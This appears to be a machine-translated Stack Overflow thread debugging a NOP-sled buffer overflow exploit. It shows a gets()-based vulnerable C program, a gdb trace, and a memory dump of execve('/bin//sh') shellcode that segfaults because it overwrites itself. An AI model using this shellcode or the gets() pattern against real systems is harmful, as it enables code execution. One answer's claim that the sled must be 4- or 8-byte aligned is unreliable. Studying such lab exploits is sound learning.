C nop底座后的外壳代码SEG故障

C nop底座后的外壳代码SEG故障,c,security,gdb,stack-overflow,exploit,C,Security,Gdb,Stack Overflow,Exploit,具有明显缓冲区溢出的基本C程序: void f(){ char buf[100]; gets(buf); printf("Hello exploit"); } int main(){ f(); return 0; } 正确系统的外壳代码: 我在前面放了一个NOP雪橇,在后面放了正确的回信地址 在gdb中运行该漏洞时,我可以看到返回地址被正确更改,执行跳转到我的nop sled并继续执行外壳代码。我可以一步一步地完成外壳代码的开头,但在接近结尾时会出现故障 (gd

具有明显缓冲区溢出的基本C程序:

void f(){
    char buf[100];
    gets(buf);
    printf("Hello exploit");
}


int main(){
 f();
 return 0;
}
正确系统的外壳代码: 我在前面放了一个NOP雪橇,在后面放了正确的回信地址

在gdb中运行该漏洞时,我可以看到返回地址被正确更改,执行跳转到我的nop sled并继续执行外壳代码。我可以一步一步地完成外壳代码的开头,但在接近结尾时会出现故障

(gdb) c
Continuing.

Breakpoint 4, 0xbffff710 in ?? ()
1: x/i $pc
=> 0xbffff710:  xor    %eax,%eax
(gdb) stepi
0xbffff712 in ?? ()
1: x/i $pc
=> 0xbffff712:  push   %eax
(gdb) stepi
0xbffff713 in ?? ()
1: x/i $pc
=> 0xbffff713:  push   $0x68732f2f
(gdb) stepi
0xbffff718 in ?? ()
1: x/i $pc
=> 0xbffff718:  push   $0x6e69622f
(gdb) stepi
0xbffff71d in ?? ()
1: x/i $pc
=> 0xbffff71d:  mov    %esp,%ebx
(gdb) stepi
0xbffff71f in ?? ()
1: x/i $pc
=> 0xbffff71f:  mov    %eax,%ecx
(gdb) stepi
0xbffff721 in ?? ()
1: x/i $pc
=> 0xbffff721:  mov    %eax,%edx
(gdb) stepi
0xbffff723 in ?? ()
1: x/i $pc
=> 0xbffff723:  mov    $0x2f,%al
(gdb) stepi
0xbffff725 in ?? ()
1: x/i $pc
=> 0xbffff725:  bound  %ebp,0x6e(%ecx)
(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.
程序有一个可执行堆栈(
execstack-s vulnerableApp
),ASLR关闭

所以有三个问题:

  • 绑定指令来自哪里?url中的外壳代码没有绑定代码
  • 为什么是断层
  • 我怎样才能修好它?(我宁愿了解这里发生了什么,然后尝试不同的外壳代码)
--编辑 我忘了提到,我在同一个系统上使用了这个外壳代码来利用不同的二进制代码,它成功了

更新

是的,外壳代码全部交付:

0xbffff6f6: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff706: 0x90909090  0x90909090  0xc0319090  0x2f2f6850
0xbffff716: 0x2f686873  0x896e6962  0x89c189e3  0xcd0bb0c2
0xbffff726: 0x40c03180  0xf48680cd  0x8400bfff  0x00000804
0xbffff736: 0x00000000  0x44d30000  0x0001b7e4  0xf7d40000

您可以看到底座,然后是漏洞。

我通过在外壳代码后添加一个小型NOP底座修复了此问题。由于外壳代码被添加到缓冲区末尾的堆栈中,并且它将一些内容推送到堆栈本身,因此它正在覆盖自己的代码。

这里也有同样的问题。 问题的关键是,您的NOP底座不是4/8字节的倍数。
指令“0xc0319090 0x2f2f6850”(NOP和指令混合)导致外壳代码发生移位(此处为2字节移位),直到CPU无法解释外壳代码为止,由于指令-->分段错误不完整

您确定所有注入的代码都写入了内存吗?该地址处的op应该是“cd 80 int$0x80”,了解它与外壳代码中的“绑定的%ebp,0x6e(%ecx)”的比较会很有意思。我添加了一个打印输出。这可能也是一个问题。主要的问题肯定是我正在覆盖我的外壳代码(正如我在GDB中看到的那样),通过解决这个问题,我可能也解决了这个未来的问题。